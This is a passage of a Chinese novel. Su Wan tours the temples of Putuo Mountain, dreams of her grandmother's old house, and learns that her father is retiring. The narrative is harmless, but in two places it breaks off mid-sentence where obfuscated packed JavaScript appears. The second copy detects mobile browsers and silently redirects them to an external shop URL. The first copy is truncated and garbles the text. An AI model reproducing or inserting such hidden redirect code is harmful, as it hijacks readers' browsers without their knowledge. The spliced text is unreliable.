从南海观音景区出来,苏晚又按计划走了紫竹林——那里有潮音洞和不肯去观音院。沿着海岸礁石旁的小路步行约两百米就到了。她站在中间那片空旷的场地上,耳边全是海浪的声音,哗——哗——一声接一声,像大地的心跳。一望无际的海面,天还是那么蓝,空气清新得仿佛能洗肺。她四处走了走,摸了摸桥头粗糙的石栏,站在桥上,人来人往的声音从身边流过去,四散开来。远处一片礁石上,有一个人正做着瑜伽,身体弯成一道不可思议的弧线,头朝下,脚朝上,像一座活的拱桥。苏晚看着那个人,觉得好“出画”——在这样庄重的地方,做这样舒展的动作,好像不属于这里,但细细一想,又觉得没什么不对。她站在那儿,静静地看着,看了很久。海浪一下一下地拍打着岩石,永不停歇。 从紫竹林出来,已经过了午。苏晚站在一个分岔口,左边是回普济寺的路,右边是去西山景区的路。她犹豫了一会儿,掏出手机给民宿老板打了个电话。 “老板,我在紫竹林这边,想去西山景区,还来得及吗?” “已经下午两点了,你去西山景区的话,要抓紧时间。”老板的声音从听筒里传出来,带着一丝善意的提醒。 苏晚想了想,轻声说:“哦,我知道了。” 她挂了电话。从紫竹林到普济寺,步行不过十来分钟,一路能近距离感受百步沙的海滨风光——海浪舔着沙滩,留下一道道白沫,又缓缓退去。到了普济寺前,再从旁边的西天渡口上山,才算真正进了西山景区的入口。那条青石小径,古意盎然,脚下的石板被岁月磨得光滑,缝隙里探出茸茸的青苔,两旁老树遮天蔽日,环境清幽得让人不自觉放轻了脚步。 西山景区不像前山那般香火缭绕,它以奇石、古树、洞穴等自然景观取胜,素有“全山石景荟萃之处”的美誉。路线是单循环的,不走回头路:从心字石方向上山,一路经过磐陀石、二龟听法石,最后从观音古洞下山。苏晚看过网上的帖子,说傍晚时分在磐陀石旁可以赏“磐陀夕照”——夕阳贴着石面滑下去,把整块巨石染成金红色。她按了手机的侧键,屏幕亮起来,她看了一眼时间,心里盘算着脚程,不知道今天能不能撞上那景致。她没把握,但莫名地相信,也许巧合就是自己的好运气。 回到民宿的时候,天已经快黑透了。苏晚的脚又胀又酸又软,她坐在床沿上,弯下腰,把鞋带彻底松开,用拇指和食指捏着脚踝,一圈一圈地按。酸胀感从骨头缝里渗出来,像有人往那里塞了团棉花,又胀又闷。她按了好一会儿,直起腰,靠在床头上,整个人的力气像被抽走了一样。她不想动了,就那么坐着,目光散在对面那堵白墙上,什么也没想。房间里安静极了,只有窗外偶尔传来的一声蝉叫——嘶哑的,拖得长长的,像是用尽了整个夏天最后一点力气。 苏晚很久没有听到过这个声音了。她侧过头,好奇地向窗外张望,试图从那片黑乎乎的树影里找出蝉的影子。枝叶在夜风里微微晃动,什么也看不清。但她想起小时候,夏夜里,坡道筒子楼下蝉鸣,从不觉得吵。她发了一会儿呆,把目光收回来,又坐了片刻,才站起来去洗漱。 洗漱完,她爬上床,把枕头垫在腰后面,靠在床头上。被子拉到腰际,空调的凉风从对面墙侧缓缓吹下来,吹散一天的疲惫。她就那么静静地坐着,不想躺下,也不想动,舒服到整个人都松了下来。她觉得就这样坐着,什么都不做,也是好的。窗外的蝉又叫了一声,然后沉默了。夜更深了。 第二天 苏晚赶早去珞珈山。民宿老板头一天晚上就特意提醒过她——珞珈山一定要趁早去,晚了码头上全是人,光排队上船就得耗掉小半天。她五点就自己醒了,迷迷糊糊伸手摸到手机,眯着眼看了一眼时间,没敢再赖,翻身坐起来。快速洗漱完出门步行至短姑道头码头购票。 船在莲花洋上缓缓前行,早起的好处又一次被她实实在在体验到了:可以欣赏“莲洋午渡”的海上日出和云雾缭绕的海上卧佛。 下了船,沿着唯一的那条“洛迦香道”拾级而上。石阶窄窄的,两边树木密不透风,头顶被枝叶遮得严严实实,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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下了岛,苏晚去了法雨寺。法雨寺比普济寺小一些,依着山势层层叠叠地往上建,殿宇的飞檐翘得比普济寺更高,像是要飞起来似的,檐角的瓦当上刻着精致的兽纹,在午后的光里投下一小片一小片的影子。寺内最珍贵的,当属从南京明故宫拆迁而来的“九龙殿”及殿内的“九龙藻井”,是普陀山三宝之一。那藻井抬头望去,九条木雕的金龙盘踞在穹顶之上,龙身缠绕,龙爪怒张,虽历经数百年,金漆已有些斑驳,但那股气势仍在,沉甸甸地压在头顶,让人不敢大声呼吸。寺前那面“佛心墙”倒是热闹得很,墙下站满了人,一个挨一个地举着手机拍照,有人伸手去摸墙上那两个大字,有人侧身靠在墙边让同伴取景,笑声响亮,把古寺的幽静冲淡了不少。 离开法雨寺,苏晚踏上了那条通往慧济寺的“香云路”。这是一条有一千零八十八级石阶的朝圣古道,抬头望去,石阶层层叠叠地往上延伸,隐入两旁的绿荫深处,对体力着实是不小的考验。她停下脚步,低头看了看自己脚上那双已经走了两天路的运动鞋,鞋面上沾着灰,鞋带系得紧紧的。是在评估下自己还能走多远。 石阶两旁,绿树浓密,枝叶在头顶交握成一把把巨伞,把正午的阳光过滤成碎金,洒在潮湿的阶面上。沿途不时可见“海天佛国”之类的摩崖石刻,字迹或苍劲或圆润,深深嵌在岩石里,被岁月和青苔半掩着,颇有几分幽远的禅意。苏晚走得不算快,累了就在阶边站一站,喘口气,倒也自在。 最让她意外的,是沿路的猫。那些台阶上、栏杆边、树丛里,到处都是猫。橘色的、白色的、黑色的、狸花的,大大小小,三三两两。有的四仰八叉地趴在石阶正中间晒太阳,肚皮一起一伏,尾巴尖偶尔懒洋洋地翘一下;有的蹲在栏杆柱头上,歪着脑袋舔自己的爪子,舌头一下一下地卷,舔得认真极了;还有的在树丛里窜来窜去,尾巴高高翘起,像一根移动的天线,偶尔停下来,回头看你一眼,又嗖地钻进去了。苏晚忍不住停下来,站在阶边看了一会儿,嘴角慢慢翘起来。那些猫自顾自地待着,谁也不理,谁也不怕,好像这条香云路是它们的,她们这些过客才是外来的。她笑了一下,收回目光,继续往上走。 慧济寺是岛上海拔最高的寺庙,有“佛顶顶佛”之称。主殿大雄宝殿供奉的是释迦牟尼佛,格局与岛上其他寺庙不太一样,走进去便觉得庄严肃穆,连空气都沉了几分。寺旁还有一棵珍贵的普陀鹅耳枥树,据说是全世界仅存的一株母树,树干苍劲,枝叶婆娑,静静地立在角落里,不怎么起眼,却让人不敢轻慢。 苏晚到慧济寺的时候,恰好赶上了午斋。她端着餐盘走进斋堂,找了个靠墙的位置坐下来。斋堂不大,几张长桌长凳,坐满了默默吃饭的人,碗筷碰撞的声音细细碎碎的,并不吵。她低头吃了几口,抬头时看见墙壁上贴着几张纸,上面写着一些名句名言——“一粥一饭,当思来处不易”“好饭不怕晚”。字不大,墨色也有些淡了,但每一句都短得精辟,像一记轻轻的钟声,不响,却往心里钻。苏晚一边慢慢嚼着米饭,一边盯着那些字看,觉得那些话虽然短,却够她琢磨好一阵子的。 下山的时候,苏晚没有走原路——膝盖已经开始抗议了。她拐去索道站,缆车缓缓升起,车厢晃晃悠悠地离开地面。从高处俯瞰,近年新建的宝陀讲寺铺展在眼前,虽还未对外开放,但那片依山而起的殿宇已初具气势,飞檐层叠,黄墙黛瓦在正午的光里泛着沉沉的暖色。视野极佳,山、海、岛、寺,尽收眼底,远处的海平线微微弯着,像一道浅浅的弧,把整座岛兜在怀里。 从索道站出来,她沿着公路慢慢走。路面平缓多了,不用再跟台阶较劲。公路一侧朝着大海,没有树丛遮挡,海风毫无阻拦地灌过来,把她被汗浸湿的后背吹得凉飕飕的。她走几步就停下来,扶着路边的石栏,眯着眼往远处看。海面上有船,慢悠悠地拖出一道浅浅的浪痕。天和海都蓝得很干净。 苏晚翻了翻手上的纸质地图,决定往梵音洞与善财洞的方向走。 梵音洞藏在海边的礁石间,是一处深邃的天然海蚀洞。还没走近,潮水拍岸的声音就先到了——不是那种轰隆隆的巨响,而是沉沉的、有节奏的轰响,一声叠着一声,像有人在洞深处敲一只巨大的木鱼。那声音浑厚、悠长,仿佛不是从耳朵进去的,而是从胸口直接撞开的。旁边建着一座瞻圣阁,悬在洞壁之上,据说有缘人可以在此看到观音显身。苏晚站在阁前也没刻意去找,只是静静站了一会儿,听着那阵阵梵音般的潮声,觉得耳朵被洗了一遍。 善财洞与梵音洞相距不远,苏晚跨过寺门,一侧是庙殿,另一侧便是善财洞的洞门。门前又排起了一条不紧不慢的队伍——人不多,也没断过。每个人手里都不空着。人们低声交谈着,声音压得细细的,像是在交换什么不可言说的秘方。苏晚跟在队伍后面,随人流慢慢往前挪,耳畔飘来前后游客断断续续的私语,零零碎碎的。她听着听着,嘴角不由自主地轻轻弯了一下,觉得这人群的热闹与虔诚,竟是这样可爱。 第三天,苏晚起得比前两天晚一些。她打包好行李,把衣服叠好放进箱子里,随后把行李箱立在墙角,拿起背包又去了一次普济寺。 这次她没进殿。走过山门,,顺着池塘边绕到外围,经过那座灰白色的石塔,又绕回来。塔不高,塔檐上长着几蓬草,绿得发亮。她低着头走路,目光落在地上。石板上刻着莲花图腾,一朵一朵的,嵌在灰白的石头里,她想起昨天在南海观音香道上走过的那些莲花——那些藏在树荫下的图腾,阴凉、幽深,而眼前这些莲花,赤裸裸地晒在阳光下,坦荡荡的,就那么大大方方地铺在露天里。一明一暗,一阴一阳。 苏晚拐进寺庙外那间小小的纪念品商店。门面不大,墙面橱架上摆着各种小玩意——佛珠、挂件、香囊、明信片。店里很安静,只有一个老板娘坐在柜台后面,低着头在看手机。苏晚在货架上翻了翻,从墙上拿下几张明信片。明信片是手绘的,画着普陀山的风景。她拿着明信片走到中间的桌子前,坐下来,从包里掏出笔,开始写信。 手写的感觉真好。笔尖在纸上划过,发出沙沙的声响,墨迹在纸面上慢慢渗开,一笔一画,都是自己的。她想起了一句话——“从前什么都慢,一封书信要走好久,一辈子也只够好好惦记一个人。”她在网上看过这句话,觉得美,就记住了。 她写了一张给林栖,写了一张给云曦,写了一张给小姨,写了一张给爸爸。写到小姨的时候,笔尖停了一下,想了想,添了一句“别总说我瘦,我有好好吃饭”。最后一张,她留给了自己。 她握着笔,盯着空白的那一面,想了一会儿,然后她写下——“无论此时的自己有多迷茫,也能过上自己想要的生活——好好爱自己!”写完她看了一遍,没有修改,把笔帽套上,站起来,走到店门口。绿色的邮筒立在门边,漆面有些斑驳,投信口窄窄的。她把明信片一张一张地塞进去,每一张都塞得很慢,像在完成一个仪式。最后一张是自己的,她的手指在信封上停了一秒,然后松手。信封落进去,发出一声轻响,没了。 苏晚站在邮筒前,忽然想起了初中那段热闹的笔友时光。那时候,学校收件室的阿姨都认识她了,每次看见她就喊“苏晚,你的信”。那些信来自五湖四海,信封上贴着花花绿绿的邮票,盖着不同城市的邮戳。她一封一封地拆,趴在课桌上看那些陌生人的字迹,看他们写自己的生活、自己的学校、自己的梦想。那些名字和地址,她还能恍惚记起谁是谁吗?她想了想,脑海里浮出几个模糊的影子——东北的,信封上贴着雪花的邮票;广东的,邮票是木棉花;还有一个本市的,城东的,字迹很秀气……但具体叫什么名字,长什么样子,记不清了。她站在邮筒前,愣了一会儿神,风吹过来,把她的头发吹到脸上,她伸手别到耳后,转身走了。 离岛的船下午三点开。苏晚上了船,她选了靠窗的位置坐下。船启动的时候,船身轻轻抖了一下,然后平稳地切开海面。她偏过头,透过那块蒙了一层薄雾的玻璃,望向岛的方向。 南海观音立在山顶上,远远的,缩成了一个小小的白色身影,在午后的阳光里隐隐闪着光。船越开越远,那身影也越来越小,却始终没有消失,就那么安安静静地站在那儿,像从时间的起点就已经站在那里了。苏晚望着那个越来越远的小点,忽然不自觉地双手合十,指尖抵着下巴,对着窗外轻轻拜了一下。心里浮起两个字——“谢谢。”没有称呼,没有理由,甚至不知道自己在谢谁、谢什么。就是觉得应该谢。 下岛之后,苏晚没有急着回家,在宁波多待了一天。她没有刻意安排行程,只是漫无目的地在街上逛。经过一家老字号汤圆店时,被门口蒸笼冒出的白汽勾住了脚步,便推门进去了。点了一碗芝麻馅的汤圆,皮薄得能隐约看见里面黑色的馅,咬一口,滚烫的黑芝麻浆缓缓淌出来,甜得恰到好处,糯得黏唇。又点了一笼蟹黄汤包,用吸管轻轻戳破皮,吸一口,汤汁鲜甜,蟹黄的味道在舌尖上慢慢化开,整个人都跟着软了一下。她一个人坐在小店角落里,吃得嘴角沾了汤汁,拿纸巾擦一下,又沾了,又擦一下,吃得很慢,吃得很开心。 下午,她去了宁波一处遗址公园。公园不大,到处是断裂的石碑,散落在荒草间,阳光直直地砸下来,晒得那些石头泛出一层灰白的光。她站在一块半人高的断碑前,阳光正好落在她脸上,一小块亮的,刺得她微微眯起眼睛。她盯着那块光,忽然有点恍惚——那种感觉又来了。像站在很高的地方往下看,底下雾蒙蒙的,什么也看不清。她眨了眨眼,那个感觉就没了,像水面上冒了个泡,咕噜一下,破了,什么也没留下。她没有深想,转过身,继续往前走。 回程的动车上,苏晚靠在椅背里,窗外的风景一格一格地往后退。她掏出手机,翻开相册,把这几天拍的照片一张张看过去——南海观音、普济寺、法雨寺、慧济寺、梵音洞、海、天、云、猫。她挑出九张,发了个九宫格朋友圈,配了一行字:“祈福之行,随缘……”发完之后,她把手机扣在膝盖上,头靠在车窗上,闭上眼睛。动车晃了一下,她的头轻轻磕在玻璃上,不疼,她没睁眼。窗外的光从她脸上滑过去,明暗交替。她的嘴角弯了一下。 73. 梦 苏晚洗漱后爬到床上。床上铺着她惯用的那套床品,那被套的底面用的是崇明土布,常见的蓝白基调透着一股古朴的韵味,洗了很多次,还是那么的硬软舒服,贴着皮肤很舒服。以前它是母亲为女儿准备的嫁妆,承载着亲情与祝福。苏晚记得小时候那几年回崇明老家,每次临走,奶奶都会从床边的老樟木箱子里搬出一匹布来,用粗纸裹着,塞进父亲的行囊。那些布匹一卷一卷码在家里那个专用的木柜里,压着箱底,沉甸甸的。近两年父亲翻出来,找人裁了几套床品,当时问过苏晚要不要,她摆了摆手,说了句“用”,父亲便没再问。 她习惯性地把被子拉上来,盖住腿,又用手在被面上轻轻拍了两下,拍得平整服帖,才从床底下拖出张折叠的黑色小桌子架在被面上。那小桌面有些划痕。 她把枕头垫在腰后面,靠上去,翻开床头那本看到一半的书,书签露出一截带子,在台灯下晃了晃。翻了几页,目光从字面上滑过去,却没落进脑子里,便又合上了,搁在枕头边。然后她打开电脑继续看《EU超时任务》。床边的立式电风扇呼呼地转着,风叶把台灯的光切成一段一段的,在墙上晃来晃去。 第三集。 “你昨晚不是说了吗?爸爸被你冤枉,被关进拘留室了。”弟弟的声音从扬声器里传出来。 “对。”女主走过来坐下,顿了顿,“不对。就算能阻止爸爸,4点45分死于枪战现场,小美今天也会被绑架。” “那你岂不是又要回去救她了吗?” “但我担心有蝴蝶效应,会影响爸爸。算了,反正小美最后没事。” 苏晚靠在床头上,眼皮越来越沉。屏幕的光映在她脸上,随着画面的切换一明一暗,台词一句一句地飘进耳朵,又一句一句地飘出去,像水面上滑过的叶子,不留痕迹。她的身体慢慢往下滑,她索性把枕头抽出来平放,整个人躺了下去。躺下去之前,她伸出一只手,把小桌子连电脑一起端起来,轻轻放在床边的地板上,桌腿着地时发出一声轻响。然后她把被子拉上来,盖到胸口,侧过身,面朝电脑的方向。屏幕的光从低处照上来,把她的脸切成明暗两半。 她不知道自己是什么时候合上眼睛的,只记得最后的画面是男女主角站在天台上,风把女主的风衣吹得猎猎作响。 男主的声音忽然变得很远,像从另一个世界传过来:“你以为改变了过去就能改变未来?蝴蝶效应,你知道吗?你扇一下翅膀,那边可能就是一场风暴。但问题是,你自己也不知道那一扇翅膀会带来什么。你记住的那些事,别人不一定记得。每个人看到的都是自己的那条线。” 女主没有说话,望着远方,眼睛里有一点光,亮亮的,像眼泪,又像星星。 电脑没有关,剧集继续往后播着,一段一段的对话在安静的房间里流淌。屏幕的光在地板上铺了一小片,幽幽的,像一扇半开的门。窗外不知什么时候起了风,先是轻轻的,像有什么东西从远处慢慢走过来。然后越来越大,树枝被压弯了腰,发出哗啦啦的声响。玻璃被撞得一下一下闷响,像是有什么东西在外面轻轻拍着窗户,要进来,又没进来。那声音断断续续的,一阵紧过一阵。苏晚已经睡熟了,呼吸匀匀的,什么也没听见。电脑屏幕的光映在她脸上,一明一暗。 视线低下去,低到只能看见一个屋檐。是那种老式平房的屋檐,瓦片青灰,一片叠一片,像鱼脊背上的鳞。屋檐探出很长,雨水从瓦楞间淌下来,连成一道晃晃悠悠的水帘,哗哗地砸在地上,砸出一排浅浅的小坑。泥水溅起来,溅到一条裤腿上。看不清裤子以上的部分,只看得见脚踝以下,是一双运动鞋的鞋头,灰白色,沾着泥点。没有人出镜,也没有人脸。雨水顺着屋檐滴下来,落在一双手背上——骨节分明,皮肤薄得能看见底下青色的血管,指甲剪得短短的,指节微微蜷着,像是在接那滴水,又像是在挡。 那双手动了一下。身子往前倾了倾,又直起来。往后退了半步,肩膀蹭到了什么。侧过头——是一扇木门。乡下那种老式的木门,两扇对合,背后横着一根粗木杠,死死地闩着。左边那扇门的左上角开了一个小窗,方方正正的,玻璃蒙着灰,透不进多少光,只能隐约看见外面灰蒙蒙的天。门框的木头上,深棕色的漆剥落了大半,露出底下灰白的木纹,一道一道的,像老人手背上的筋络,摸上去该是粗糙的。门框上钉着一块铁皮门牌,锈迹斑斑的,上面的字已经看不清了,只能隐约分辨出几个笔画,像干涸的河道。手指伸过去摸了摸,铁皮冰凉,粗糙,边缘翘起一小片,割了一下指腹,不疼,但能感觉到。手缩回来,放在眼前看了看——指腹上有一道浅浅的白印子,没有出血。 人站在屋内。光线暗得很,不是那种关了灯的暗,是那种老房子特有的暗——光线被岁月泡过,被烟火熏过,被一代又一代人的呼吸染过,变得稠了,厚了,像一碗搁了太久的米汤,表面结了一层灰白色的皮,揭不开,搅不动。眼睛在慢慢适应,瞳孔一点一点地张开,黑暗像潮水一样缓缓退去,露出底下湿漉漉的沙。轮廓开始浮现。先是门框,然后是门框后面的墙,墙是白的,但已经不是那种干净的白了,是灰白,是被时间反复浆洗过的白,像一件穿了太久的白衬衫,领口和袖口泛出陈旧的黄,还有几块水渍洇在那里,形状像地图上的岛屿。墙上挂着一幅画,木头框,里面是一张年画——胖娃娃抱鲤鱼。娃娃的脸已经模糊了,只剩一团粉色的影子,倒是鲤鱼的眼睛还在,黑黑的,亮亮的,像两颗被钉在那里的纽扣,直直地盯着。 目光往屋子深处探去。更暗了,暗得像一口倒扣的锅。但还能看见一些东西——一张八仙桌,桌腿漆黑,桌面深褐,上面搁着一只搪瓷杯,杯身上印着“劳动最光荣”几个字,红漆已经磨得断断续续了,像一条被截成几段的细线。桌子一边抵着白墙,其余三边各摆着一条长凳,凳面磨得油亮,边角圆润,不知道坐了多少年,凳腿上有小孩用粉笔画的小人,歪歪扭扭的,已经褪得差不多了。地上铺的是青石砖,缝隙里嵌着黑硬的泥,脚踩上去,有一种说不出的踏实。门对面的长凳后面,是一个灶膛口,口子黑黢黢的,往里延伸,深处堆着成捆的干木枝,齐齐地码着,像一捆捆柴火。灶膛边上,贴墙立着一个水龙头,龙头把手上缠着一圈布条,大概是冬天怕冻手。龙头下方是一口石砌的水缸,缸口盖着一块木板,板面潮乎乎的,边角长了一层薄薄的黑霉。水缸旁边就是房子的后门,门板紧闭,门缝里透进来一丝光,细细的,白白的,像是另一个世界漏进来的。 视线从后门往右转,是一间卧室的房门。门口横着一道青石门槛,磨得中间低两头高,不知道多少人跨过。得抬脚跨过去。门里,迎面是一张老式的架子床,床口挂着纱帘,帘子垂着,看不清里面,只看见帘面上绣着白色的碎花,花蕊是粉色的,已经褪得差不多了。床架子上搭着一件衣服,袖口垂下来,像一个人无力地垂着手。床的斜对面,立着一个五斗橱,漆面暗沉,感觉走了过去,拉开了最上面那层抽屉,里面露出几个药瓶,瓶身白的绿的都有,塞着棉花,随后视线四下张望,有那么一瞬间,想不起来抽屉半敞着是忘了关还是关不上。视线从五斗橱移开,落在橱边的那张床上——是乡下那种最老式的床,有床架,有床柱,木头已经被摸得油亮,床角雕着什么花纹,看不太清,只摸到过,小时候觉得硌手。床上的被子叠得整整齐齐,枕头旁边放着一副老花镜,镜腿打开着,像刚刚被人摘下。 这是梦。她知道。她要想醒来。 可是她动不了。脚像被钉在地上,手抬不起来,连转一下头都费力。她能看见,能听见,能闻到——灶膛口的柴火味,搪瓷杯里的陈茶味,还有那个房间潮湿的味道。这些味道太真了,真到她鼻子发酸。 然后她感觉到失重,感觉到了床下的软塌感。现实中的身体一动不能动,像被什么东西压住了,手脚都使不上力,但她能感觉到眼角有什么东西在往外溢,温热的,顺着太阳穴往下淌,淌进耳朵里,痒痒的。她知道那是泪水。她不知道自己在哭什么。 苏晚终于醒了。 眼角湿了一片,枕头上一小块冰凉的水渍,洇开成不规则的圆形,像一滴很大的雨砸在干燥的泥地上。窗外天已经亮了,灰白色的光从窗帘缝隙挤进来,落在地板上,一小条,静静的。床边的立式风扇还在呼呼呼地转。 门外有人走动的声音。拖鞋蹭着地板,沙沙的,从走廊那头走到这头,停了一下。然后是轻轻的敲门声,不重,两下。 “清清?”爸爸的声音隔着门板传进来,闷闷的,像隔了一层棉被。 苏晚没有动。她躺在床上,盯着天花板。她眨了眨眼睛,睫毛还是湿的,黏在一起,她用手背蹭了一下,手背上一道湿痕。她把手举到眼前,翻过来,看了看她把手指并拢,又张开,并拢,又张开。这是她的手,不像梦里的手。 那是外婆家。她梦见的那个地方,是外婆家。那个门,那个灶膛,那张架子床,那件搭在床架上的衣服——她知道。 她坐起来,被子滑到腰际。露出被套上的蓝白格子。她低头看了一眼那些格子,用手指摸了摸,硬的,软的,带着体温。房间里很暗,只有那一道光。她转头看了看旁边,现在这个房间还是属于自己一个人的。 “怎么会梦到外婆家?”她的声音很轻,像从喉咙里漏出来的气音,在空荡荡的房间里飘了一下。她伸手摸到手机,按亮屏幕。光刺得她眯了一下眼睛。时间在那行数字上停了一秒,她看清了,把手机翻过去扣在床上,要上班了。 她掀开被子,脚踩进拖鞋里。拖鞋是棉的,底子薄,踩在地板上凉凉的,从脚底心窜上来。她站起来,走到窗边,把窗帘拉开。阳光涌进来,扑在脸上,刺得她眯了一下眼睛。她站了一会儿,转过身开门走进卫生间。镜子里的自己眼角还有没擦干净的泪痕,头发乱糟糟的。她拧开水龙头,捧了凉水扑在脸上,一下,两下,三下。水顺着下巴往下淌,滴在领口上,凉飕飕的。她抬起头,看着镜子里的自己,水珠挂在睫毛上,亮晶晶的,她眨了一下,水珠落下来。 “爸爸,我回来了。”苏晚下班回家的声音伴随着开门声,钥匙在锁孔里转了两圈,咔哒一声,门开了。大厅里静悄悄的。厨房门关着,但里面的动静不小,锅铲碰着铁锅,叮叮当当的,油烟机轰轰地转着,还有水龙头偶尔被拧开又关上的声音。门开了,苏晚看到爸爸端着菜走出来,一盘青椒炒肉丝,青椒切得不规则,有的宽有的窄,肉丝也是,有的长有的短,但油亮亮的,冒着热气。 “清清,回来了。”父亲把菜放在桌上,碗底磕在桌面上,咚的一声,顺手把盘子转了转,让肉丝多的那一面朝外。 “嗯。”苏晚看着父亲把菜端放在桌子上,转身又回厨房忙碌去了,围裙系在腰上,带子在后面打了个结,跑出来的两根绳子一甩一甩的。她回房把背包放下。她把衣服袖子卷了卷,卷到手肘,露出一截小臂,准备去厨房看看有什么可以搭把手的。 厨房里,父亲站在灶台前面,手里拿着一把长柄勺,正在搅锅里的汤。汤是萝卜炖排骨的,白萝卜切成滚刀块,大小不一,有的炖得透明了,有的还白着,排骨的骨头从汤里支出来,油花在汤面上聚成一小片一小片,反着光。他听见脚步声,转过头,看了苏晚一眼,嘴角弯了一下,幅度不大,但能看出来,眼角的皱纹挤在一起,像一把收拢的折扇。 “清清,早上是怎么了?”他的声音有点哑,像砂纸在木头上蹭了一下。 “没事。”苏晚愣了一下,靠在门框上,手扶着门框,指尖在木头上蹭了一下,看着锅里的汤。汤咕嘟咕嘟冒着泡,白汽从锅盖的缝隙里冒出来,一团一团的,在厨房里飘散,带着排骨的肉香和白萝卜的甜味。 “再等一会,可以吃了。”父亲把勺子从锅里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437439|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出来,搁在碗沿上,勺子上还挂着汤,一滴一滴往下滴,滴在灶台上,洇开一小摊。他转过身,从碗柜里拿出一个大白碗。 “好。”苏晚说。她没有说梦的事。她不想说。 父亲把汤盛好放在灶台上,汤面刚好到碗沿的八分满,不溢不欠。他继续把另一个锅里的菜盛在盘子里,是一盘红烧排骨,酱色的,油亮亮的,骨头支出来,肉缩上去,露出白白的骨头尖。他让苏晚端上桌子,自己打了两碗饭,一碗堆得尖尖的,一碗平平的,尖的那碗推给苏晚,平的那碗留给自己。两个人坐下来,谁都没说话。只有吃饭的声音——碗筷碰撞的叮当声,咀嚼的咔嚓声,喝汤的吸溜声。这些声音混在一起,不吵,但填满了整个餐厅,填得满满的,不让安静钻进来。 父亲放下碗。碗底磕在桌面上,咚的一声,不重,但很沉。他靠在椅背上,手搭在膝盖上,看着苏晚。苏晚抬起头,看了他一眼,又低下头,继续吃。她把一块排骨的骨头吐出来,搁在碟子边上,骨头上的肉啃得很干净,一点都没剩。 “清清,我跟你说个事。”父亲的声音不高,但每个字都说得很清楚。 苏晚把勺子停在碗里,抬起头看着他。勺子上还舀着一口汤,汤面上浮着一小片油花,亮晶晶的。 “今天开始,我退休了。”父亲说。他的嘴角微微翘着,嘴角的弧度不大。 苏晚没说话。她不知道该说什么。退休这件事她早就知道。父亲到年龄了,手续也办得差不多了,但“知道”和“听到他说”是两回事。 “我准备回上海照顾你奶奶。”父亲又开口了。他的手指在膝盖上慢慢蹭了一下,像在擦什么东西,蹭了一下,又蹭了一下。 苏晚点了点头。“好。”她说。声音很轻,但说得很清楚。 父亲看着她,看了两秒。那两秒很短,但苏晚觉得过了很久。他的目光在她脸上停了一下,从她的眼睛看到她的鼻子,从鼻子看到嘴角,然后又移开了。他端起碗,把剩下的汤一口喝完,碗底朝天,露出碗底的印花,一朵蓝色的兰花,缺了半片花瓣。他用筷子把粘在碗壁上的米粒拨进嘴里,嚼了两下,咽下去。他把碗放下,碗底又磕了一下桌面,咚的一声。他用纸巾擦了擦嘴,纸巾在嘴唇上压了一下,对折,再压一下,然后揉成一团,放在碗旁边。 “你一个人在家,自己照顾好自己。”他说,声音有点不一样了,低了一些,慢了一些,像在说一件他不太想说但又不得不说的事,每个字都像是在舌头底下压了一会儿才放出来。 苏晚把碗里的汤喝完,把碗放下。“知道了。”她说。她知道自己应该说“你放心”或者“我会的”,但她说不出来。 父亲站起来,把碗端进厨房,放在水槽里。他拧开水龙头,水冲在碗上,哗哗的,把米粒冲进水槽的滤网里,米粒卡在网眼上,一粒一粒的。他关了水,甩了甩手上的水珠,在围裙上擦了两下,围裙上已经有很多水渍了,深的浅的,叠在一起。他转过身,站在厨房门口,看着苏晚。厨房的灯在他背后,他的脸在暗处,看不清表情,只看见一个轮廓。 “冰箱里有菜,自己热着吃。别老吃泡面。”他的声音从暗处传过来。 “嗯。” “晚上早点睡,别老看手机。” “嗯。” “有什么事给我打电话。” “嗯。” 父亲站了一会儿,没再说什么。他的手从围裙上放下来,垂在身侧,手指微微蜷着。他转身回房间了,拖鞋踩在地板上,沙沙的,沙沙的,越来越远。苏晚听见他拉开衣柜的拉链声,拉链齿咬合又松开,发出细细的声响,一下,两下,三下。听见衣架碰撞的声音。听见他翻箱倒柜找东西的声音,抽屉被拉开又推上,推上又拉开。 她坐在餐桌前,手里还攥着勺子,勺子上沾着饭,已经凉了,凝成一层薄薄的膜。她把勺子放在碗沿上,碗沿上搁着勺子,勺子柄翘起来,像一个小小的跷跷板。她站起来,把碗端进厨房。水槽里有两个碗,一白一蓝,叠在一起,白碗扣在蓝碗上面,碗底朝上,像两朵倒扣的蘑菇。旁边还有一双筷子,并排躺着,筷头对齐,筷尾对齐,整整齐齐的。她拧开水龙头,把碗冲洗干净放好。 她站在厨房里,手撑在灶台边上,灶台是白色的瓷砖,瓷砖缝里嵌着黑色的美缝剂,有些地方已经裂了,露出一条细细的缝。她看着窗外的天。天很蓝,蓝得透亮。几朵云挂在那里,一动不动。楼下有人在遛狗。她看了一会儿,转身走出厨房。经过走廊,经过父亲房间的门口。门半开着,她往里看了一眼。父亲蹲在地上,面前摊着一个行李箱,箱子的拉杆已经拉出来了,竖在那里,像一根天线。箱子里已经放了几件衣服,叠得不太整齐,袖子和裤腿支出来,像一丛杂草。他正在把一件外套往里面塞,塞不进去,往外拽了拽,换个方向,再塞。他的背影微微弓着。她没有叫他。她轻轻走过去,脚步放得很轻,几乎听不见。 她回到自己的房间,关上门。门锁咔哒一声,弹进去了。她靠在门板上,站了一会儿。房间很安静。她走到床边,坐下来,手搭在膝盖上,手指交叉握在一起。她看着对面那堵白墙,墙上什么也没有,一整片的、干干净净的白。看了很久。 